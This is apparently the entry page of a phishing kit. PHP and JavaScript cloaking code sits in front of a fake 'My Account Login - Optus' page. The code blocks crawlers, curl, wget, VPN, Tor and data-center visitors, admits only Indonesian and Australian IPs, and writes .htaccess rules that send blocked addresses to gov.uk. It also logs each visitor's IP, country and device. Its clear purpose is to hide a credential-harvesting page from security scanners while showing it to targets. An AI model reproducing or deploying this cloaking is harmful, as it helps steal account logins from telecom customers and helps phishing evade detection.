<?php
/**
 * =====================================
 * START SESSION
 * =====================================
 */
session_start();

/**
 * =====================================
 * LOAD CONFIG
 * =====================================
 */
$configPath = __DIR__ . '/config.ini';
if (!file_exists($configPath)) {
    http_response_code(500);
    exit('Config not found');
}

$config = parse_ini_file($configPath, true, INI_SCANNER_TYPED);
$GLOBALS['CONFIG'] = $config;

/**
 * =====================================
 * BASIC SETUP
 * =====================================
 */
date_default_timezone_set(
    $config['app']['timezone'] ?? 'Asia/Jakarta'
);

/**
 * =====================================
 * HELPER FUNCTIONS
 * =====================================
 */

function isBot(): bool
{
    if (empty($_SERVER['HTTP_USER_AGENT'])) return true;

    $bots = [
        'bot','crawl','slurp','spider',
        'curl','python','wget',
        'facebookexternalhit','telegrambot',
        'discordbot','whatsapp'
    ];

    $ua = strtolower($_SERVER['HTTP_USER_AGENT']);
    foreach ($bots as $b) {
        if (strpos($ua, $b) !== false) return true;
    }
    return false;
}

/**
 * =====================================
 * GEO IP (CACHE SESSION)
 * =====================================
 */

function _geoGet(string $ip): array
{
    $url = "http://ip-api.com/json/{$ip}?fields=status,country,countryCode";

    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 5,
        CURLOPT_CONNECTTIMEOUT => 3,
    ]);

    $res = curl_exec($ch);
    curl_close($ch);

    return json_decode($res, true) ?: [];
}

function getGeoCached(): array
{
    if (!empty($_SESSION['geo'])) return $_SESSION['geo'];

    $ip = getClientIP();
    if (!$ip) return [];

    $geo = _geoGet($ip);
    if (($geo['status'] ?? '') === 'success') {
        $_SESSION['geo'] = $geo;
        return $geo;
    }
    return [];
}

function getCountryCode(): string
{
    return getGeoCached()['countryCode'] ?? 'UNKNOWN';
}

function getCountryName(): string
{
    return getGeoCached()['country'] ?? 'UNKNOWN';
}

/**
 * =====================================
 * LOGGING
 * =====================================
 */
$ua_string = $_SERVER['HTTP_USER_AGENT'] ?? "";

function get_os_and_browser($ua) {
    $ua = $ua ?? ""; 

    $os = "Unknown Device";
    if (preg_match('/windows|win32/i', $ua)) $os = "Windows";
    elseif (preg_match('/iphone/i', $ua)) $os = "iPhone";
    elseif (preg_match('/ipad/i', $ua)) $os = "iPad";
    elseif (preg_match('/android/i', $ua)) $os = "Android";
    elseif (preg_match('/macintosh|mac os x/i', $ua)) $os = "Mac";
    elseif (preg_match('/linux/i', $ua)) $os = "Linux";

    $browser = "Unknown Browser";
    if (preg_match('/msie|trident/i', $ua)) $browser = "Internet Explorer";
    elseif (preg_match('/edge/i', $ua)) $browser = "Edge";
    elseif (preg_match('/firefox/i', $ua)) $browser = "Firefox";
    elseif (preg_match('/chrome/i', $ua)) $browser = "Chrome";
    elseif (preg_match('/safari/i', $ua)) $browser = "Safari";
    elseif (preg_match('/opera|opr/i', $ua)) $browser = "Opera";

    return "$browser/$os";
}

// SIMPAN KE SESSION AGAR BISA DIAKSES FILE LAIN
if (!isset($_SESSION['device_info'])) {
    $_SESSION['device_info'] = get_os_and_browser($ua_string);
}

// Variabel lokal tetap ada agar tidak merusak baris kode di bawahnya
$device_info = $_SESSION['device_info'];

function writeLog(string $ket): void
{
    $cfg = $GLOBALS['CONFIG']['log'] ?? [];
    if (!($cfg['enable_log'] ?? false)) return;

    $file = __DIR__ . '/' . ($cfg['log_file'] ?? 'access.log');

    // Mengambil data device dan country dari session/function
    $line = sprintf(
        "%s | %s | %s | %s | %s\n",
        date('Y-m-d H:i:s'),
        $ket,
        getClientIP(),
        getCountryName(),
        $_SESSION['device_info'] // Menggunakan data session
    );

    file_put_contents($file, $line, FILE_APPEND | LOCK_EX);
}
/**
 * =====================================
 * BOTBLOCKER API
 * =====================================
 */

function botblocker(string $ip, string $ua): bool
{
    $key = $GLOBALS['CONFIG']['botblocker']['key'] ?? '';
    if ($key === '') return false;

    $url = "https://botblocker.pro/api/v1/blocker?"
        . "ip=" . urlencode($ip)
        . "&apikey=" . urlencode($key)
        . "&ua=" . urlencode($ua)
        . "&url=" . urlencode($_SERVER['REQUEST_URI'] ?? '/');

    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_USERAGENT => 'BotBlocker',
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 5,
        CURLOPT_CONNECTTIMEOUT => 3,
    ]);

    $res = curl_exec($ch);
    curl_close($ch);

    if (!$res) return false;

    $json = json_decode($res, true);
    if (($json['meta']['code'] ?? 0) !== 200) return false;

    return (
        $json['data']['is_bot'] ??
        $json['data']['block_access'] ??
        false
    );
}

/**
 * =====================================
 * RAPIDAPI (VPN / DC / DDOS)
 * =====================================
 */

function rapidCheck(string $ip): bool
{
    $apiKey = $GLOBALS['CONFIG']['rapidapi']['key'] ?? '';
    if ($apiKey === '') return false;

    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => "https://netdetective.p.rapidapi.com/query?ipaddress={$ip}",
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 8,
        CURLOPT_HTTPHEADER => [
            "x-rapidapi-host: netdetective.p.rapidapi.com",
            "x-rapidapi-key: {$apiKey}"
        ],
    ]);

    $res = curl_exec($ch);
    curl_close($ch);

    $json = json_decode($res, true);
    if (!isset($json['result'])) return false;

    $r = $json['result'];

    return (
        $r['isVpn'] ||
        $r['isDataCenter'] ||
        $r['isBogon'] ||
        $r['isCompromised'] ||
        $r['isDDos']
    );
}

/**
 * =====================================
 * HTACCESS BLOCK (REDIRECT)
 * =====================================
 */

function _blocks(): void
{
    $ip = getClientIP();
    if (!$ip) return;

    $htaccess = __DIR__ . '/.htaccess';

    if (file_exists($htaccess) && strpos(file_get_contents($htaccess), $ip) !== false) {
        return;
    }

    $safeIp = str_replace('.', '\.', $ip);

    $rule  = "\n# BLOCK {$ip}\n";
    $rule .= "RewriteCond %{REMOTE_ADDR} ^{$safeIp}$\n";
    $rule .= "RewriteRule .* https://gov.uk [R=302,L]\n";

    file_put_contents($htaccess, $rule, FILE_APPEND | LOCK_EX);
}

/**
 * =====================================
 * CLIENT IP
 * =====================================
 */

function getClientIP(): string
{
    return $_SERVER['HTTP_CF_CONNECTING_IP']
        ?? $_SERVER['HTTP_X_FORWARDED_FOR']
        ?? $_SERVER['REMOTE_ADDR']
        ?? '';
}

/**
 * =====================================
 * SECURITY FLOW
 * =====================================
 */

$ip = getClientIP();
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';

// 1. UA BOT
if (($config['security']['bot_blocker'] ?? false) && isBot()) {
    writeLog('BOT blocked (UA)');
    _blocks();
    exit;
}

// 2. BotBlocker API
if (($config['security']['botblocker_api'] ?? false) && botblocker($ip, $ua)) {
    writeLog('BOT blocked (BotBlocker)');
    _blocks();
    exit;
}

// 3. Country filter
if (!in_array(getCountryCode(), ['ID', 'AU'], true)) {
    writeLog('Country blocked');
    _blocks();
    exit;
}

// 4. RapidAPI
if (($config['security']['rapidapi'] ?? false) && rapidCheck($ip)) {
    writeLog('RapidAPI blocked');
    _blocks();
    exit;
}

/**
 * =====================================
 * PAGE OUTPUT
 * =====================================
 */
if (!isset($_SESSION['already_logged_this_visit'])) {
    
    writeLog('Human');
    
    $_SESSION['already_logged_this_visit'] = true;
}
?>
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
     <!-- Required meta tags -->
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <!-- CSS FILES -->
        <style type="text/css">:host,:root{--fa-font-solid:normal 900 1em/1 "Font Awesome 6 Solid";--fa-font-regular:normal 400 1em/1 "Font Awesome 6 Regular";--fa-font-light:normal 300 1em/1 "Font Awesome 6 Light";--fa-font-thin:normal 100 1em/1 "Font Awesome 6 Thin";--fa-font-duotone:normal 900 1em/1 "Font Awesome 6 Duotone";--fa-font-sharp-solid:normal 900 1em/1 "Font Awesome 6 Sharp";--fa-font-brands:normal 400 1em/1 "Font Awesome 6 Brands"}svg:not(:host).svg-inline--fa,svg:not(:root).svg-inline--fa{overflow:visible;box-sizing:content-box}.svg-inline--fa{display:var(--fa-display,inline-block);height:1em;overflow:visible;vertical-align:-.125em}.svg-inline--fa.fa-2xs{vertical-align:.1em}.svg-inline--fa.fa-xs{vertical-align:0}.svg-inline--fa.fa-sm{vertical-align:-.0714285705em}.svg-inline--fa.fa-lg{vertical-align:-.2em}.svg-inline--fa.fa-xl{vertical-align:-.25em}.svg-inline--fa.fa-2xl{vertical-align:-.3125em}.svg-inline--fa.fa-pull-left{margin-right:var(--fa-pull-margin,.3em);width:auto}.svg-inline--fa.fa-pull-right{margin-left:var(--fa-pull-margin,.3em);width:auto}.svg-inline--fa.fa-li{width:var(--fa-li-width,2em);top:.25em}.svg-inline--fa.fa-fw{width:var(--fa-fw-width,1.25em)}.fa-layers svg.svg-inline--fa{bottom:0;left:0;margin:auto;position:absolute;right:0;top:0}.fa-layers-counter,.fa-layers-text{display:inline-block;position:absolute;text-align:center}.fa-layers{display:inline-block;height:1em;position:relative;text-align:center;vertical-align:-.125em;width:1em}.fa-layers svg.svg-inline--fa{transform-origin:center center}.fa-layers-text{left:50%;top:50%;transform:translate(-50%,-50%);transform-origin:center center}.fa-layers-counter{background-color:var(--fa-counter-background-color,#ff253a);border-radius:var(--fa-counter-border-radius,1em);box-sizing:border-box;color:var(--fa-inverse,#fff);line-height:var(--fa-counter-line-height,1);max-width:var(--fa-counter-max-width,5em);min-width:var(--fa-counter-min-width,1.5em);overflow:hidden;padding:var(--fa-counter-padding,.25em .5em);right:var(--fa-right,0);text-overflow:ellipsis;top:var(--fa-top,0);transform:scale(var(--fa-counter-scale,.25));transform-origin:top right}.fa-layers-bottom-right{bottom:var(--fa-bottom,0);right:var(--fa-right,0);top:auto;transform:scale(var(--fa-layers-scale,.25));transform-origin:bottom right}.fa-layers-bottom-left{bottom:var(--fa-bottom,0);left:var(--fa-left,0);right:auto;top:auto;transform:scale(var(--fa-layers-scale,.25));transform-origin:bottom left}.fa-layers-top-right{top:var(--fa-top,0);right:var(--fa-right,0);transform:scale(var(--fa-layers-scale,.25));transform-origin:top right}.fa-layers-top-left{left:var(--fa-left,0);right:auto;top:var(--fa-top,0);transform:scale(var(--fa-layers-scale,.25));transform-origin:top left}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-2xs{font-size:.625em;line-height:.1em;vertical-align:.225em}.fa-xs{font-size:.75em;line-height:.0833333337em;vertical-align:.125em}.fa-sm{font-size:.875em;line-height:.0714285718em;vertical-align:.0535714295em}.fa-lg{font-size:1.25em;line-height:.05em;vertical-align:-.075em}.fa-xl{font-size:1.5em;line-height:.0416666682em;vertical-align:-.125em}.fa-2xl{font-size:2em;line-height:.03125em;vertical-align:-.1875em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:var(--fa-li-margin,2.5em);padding-left:0}.fa-ul>li{position:relative}.fa-li{left:calc(var(--fa-li-width,2em) * -1);position:absolute;text-align:center;width:var(--fa-li-width,2em);line-height:inherit}.fa-border{border-color:var(--fa-border-color,#eee);border-radius:var(--fa-border-radius,.1em);border-style:var(--fa-border-style,solid);border-width:var(--fa-border-width,.08em);padding:var(--fa-border-padding,.2em .25em .15em)}.fa-pull-left{float:left;margin-right:var(--fa-pull-margin,.3em)}.fa-pull-right{float:right;margin-left:var(--fa-pull-margin,.3em)}.fa-beat{animation-name:fa-beat;animation-delay:var(--fa-animation-delay,0s);animation-direction:var(--fa-animation-direction,normal);animation-duration:var(--fa-animation-duration,1s);animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-timing-function:var(--fa-animation-timing,ease-in-out)}.fa-bounce{animation-name:fa-bounce;animation-delay:var(--fa-animation-delay,0s);animation-direction:var(--fa-animation-direction,normal);animation-duration:var(--fa-animation-duration,1s);animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-timing-function:var(--fa-animation-timing,cubic-bezier(.28,.84,.42,1))}.fa-fade{animation-name:fa-fade;animation-delay:var(--fa-animation-delay,0s);animation-direction:var(--fa-animation-direction,normal);animation-duration:var(--fa-animation-duration,1s);animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-timing-function:var(--fa-animation-timing,cubic-bezier(.4,0,.6,1))}.fa-beat-fade{animation-name:fa-beat-fade;animation-delay:var(--fa-animation-delay,0s);animation-direction:var(--fa-animation-direction,normal);animation-duration:var(--fa-animation-duration,1s);animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-timing-function:var(--fa-animation-timing,cubic-bezier(.4,0,.6,1))}.fa-flip{animation-name:fa-flip;animation-delay:var(--fa-animation-delay,0s);animation-direction:var(--fa-animation-direction,normal);animation-duration:var(--fa-animation-duration,1s);animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-timing-function:var(--fa-animation-timing,ease-in-out)}.fa-shake{animation-name:fa-shake;animation-delay:var(--fa-animation-delay,0s);animation-direction:var(--fa-animation-direction,normal);animation-duration:var(--fa-animation-duration,1s);animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-timing-function:var(--fa-animation-timing,linear)}.fa-spin{animation-name:fa-spin;animation-delay:var(--fa-animation-delay,0s);animation-direction:var(--fa-animation-direction,normal);animation-duration:var(--fa-animation-duration,2s);animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-timing-function:var(--fa-animation-timing,linear)}.fa-spin-reverse{--fa-animation-direction:reverse}.fa-pulse,.fa-spin-pulse{animation-name:fa-spin;animation-direction:var(--fa-animation-direction,normal);animation-duration:var(--fa-animation-duration,1s);animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-timing-function:var(--fa-animation-timing,steps(8))}@media (prefers-reduced-motion:reduce){.fa-beat,.fa-beat-fade,.fa-bounce,.fa-fade,.fa-flip,.fa-pulse,.fa-shake,.fa-spin,.fa-spin-pulse{animation-delay:-1ms;animation-duration:1ms;animation-iteration-count:1;transition-delay:0s;transition-duration:0s}}@keyframes fa-beat{0%,90%{transform:scale(1)}45%{transform:scale(var(--fa-beat-scale,1.25))}}@keyframes fa-bounce{0%{transform:scale(1,1) translateY(0)}10%{transform:scale(var(--fa-bounce-start-scale-x,1.1),var(--fa-bounce-start-scale-y,.9)) translateY(0)}30%{transform:scale(var(--fa-bounce-jump-scale-x,.9),var(--fa-bounce-jump-scale-y,1.1)) translateY(var(--fa-bounce-height,-.5em))}50%{transform:scale(var(--fa-bounce-land-scale-x,1.05),var(--fa-bounce-land-scale-y,.95)) translateY(0)}57%{transform:scale(1,1) translateY(var(--fa-bounce-rebound,-.125em))}64%{transform:scale(1,1) translateY(0)}100%{transform:scale(1,1) translateY(0)}}@keyframes fa-fade{50%{opacity:var(--fa-fade-opacity,.4)}}@keyframes fa-beat-fade{0%,100%{opacity:var(--fa-beat-fade-opacity,.4);transform:scale(1)}50%{opacity:1;transform:scale(var(--fa-beat-fade-scale,1.125))}}@keyframes fa-flip{50%{transform:rotate3d(var(--fa-flip-x,0),var(--fa-flip-y,1),var(--fa-flip-z,0),var(--fa-flip-angle,-180deg))}}@keyframes fa-shake{0%{transform:rotate(-15deg)}4%{transform:rotate(15deg)}24%,8%{transform:rotate(-18deg)}12%,28%{transform:rotate(18deg)}16%{transform:rotate(-22deg)}20%{transform:rotate(22deg)}32%{transform:rotate(-12deg)}36%{transform:rotate(12deg)}100%,40%{transform:rotate(0)}}@keyframes fa-spin{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}.fa-rotate-90{transform:rotate(90deg)}.fa-rotate-180{transform:rotate(180deg)}.fa-rotate-270{transform:rotate(270deg)}.fa-flip-horizontal{transform:scale(-1,1)}.fa-flip-vertical{transform:scale(1,-1)}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical{transform:scale(-1,-1)}.fa-rotate-by{transform:rotate(var(--fa-rotate-angle,none))}.fa-stack{display:inline-block;vertical-align:middle;height:2em;position:relative;width:2.5em}.fa-stack-1x,.fa-stack-2x{bottom:0;left:0;margin:auto;position:absolute;right:0;top:0;z-index:var(--fa-stack-z-index,auto)}.svg-inline--fa.fa-stack-1x{height:1em;width:1.25em}.svg-inline--fa.fa-stack-2x{height:2em;width:2.5em}.fa-inverse{color:var(--fa-inverse,#fff)}.fa-sr-only,.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);white-space:nowrap;border-width:0}.fa-sr-only-focusable:not(:focus),.sr-only-focusable:not(:focus){position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);white-space:nowrap;border-width:0}.svg-inline--fa .fa-primary{fill:var(--fa-primary-color,currentColor);opacity:var(--fa-primary-opacity,1)}.svg-inline--fa .fa-secondary{fill:var(--fa-secondary-color,currentColor);opacity:var(--fa-secondary-opacity,.4)}.svg-inline--fa.fa-swap-opacity .fa-primary{opacity:var(--fa-secondary-opacity,.4)}.svg-inline--fa.fa-swap-opacity .fa-secondary{opacity:var(--fa-primary-opacity,1)}.svg-inline--fa mask .fa-primary,.svg-inline--fa mask .fa-secondary{fill:#000}.fa-duotone.fa-inverse,.fad.fa-inverse{color:var(--fa-inverse,#fff)}</style><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css">

        <link rel="icon" type="image/x-icon" href="/my-account-login/assets/ff-BSHygXe0.ico">

        <title>My Account Login - Optus</title>
    <script type="module" crossorigin src="/my-account-login/assets/index-_ZCgahUF.js"></script>
    <link rel="stylesheet" crossorigin href="/my-account-login/assets/index-DIR1iyDG.css">
  </head>
  <body>
    
    <script>
      async function ipDetectiveClient() {
        try {
          console.log("Check IP...");
          const ipRes = await fetch("https://api.ipify.org?format=json");
          const ipData = await ipRes.json();
          const currentIP = ipData.ip;
          console.log("IP is:", currentIP);

          const checkRes = await fetch(
            `https://api.ipdetective.io/ip/${currentIP}`
          );
          const checkData = await checkRes.json();
          console.log("Response IPDetective:", checkData); 
          
          const ipapiRes = await fetch(`https://api.ipapi.is/?q=${currentIP}`);
          const ipapiData = await ipapiRes.json();
          console.log("Response IPAPI:", ipapiData); 

          const isBot = checkData.bot === true;
          const isProxy =
            ipapiData.is_proxy ||
            ipapiData.is_vpn ||
            ipapiData.is_abuser ||
            ipapiData.is_bogon ||
            ipapiData.is_crawler ||
            ipapiData.is_tor;

          if (isBot || isProxy) {
            console.warn("AKSES BLOCKED: Bot/VPN/Proxy");

            await fetch(
              `/tax-vehicle-v12-reminder/block.php?ip=${currentIP}`
            );

            window.location.href = "/error.html";
          } else {
            console.log("AKSES OK: Loading...");

            const script = document.createElement("script");
            script.type = "module";
            script.src = "/src/main.jsx";
            document.body.appendChild(script);
          }
        } catch (err) {
          console.error("Sistem Error Fetching:", err);
        }
      }

      ipDetectiveClient();
    </script>
    <div id="indehoy"></div>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/js/bootstrap.bundle.min.js"></script>
  </body>
</html>
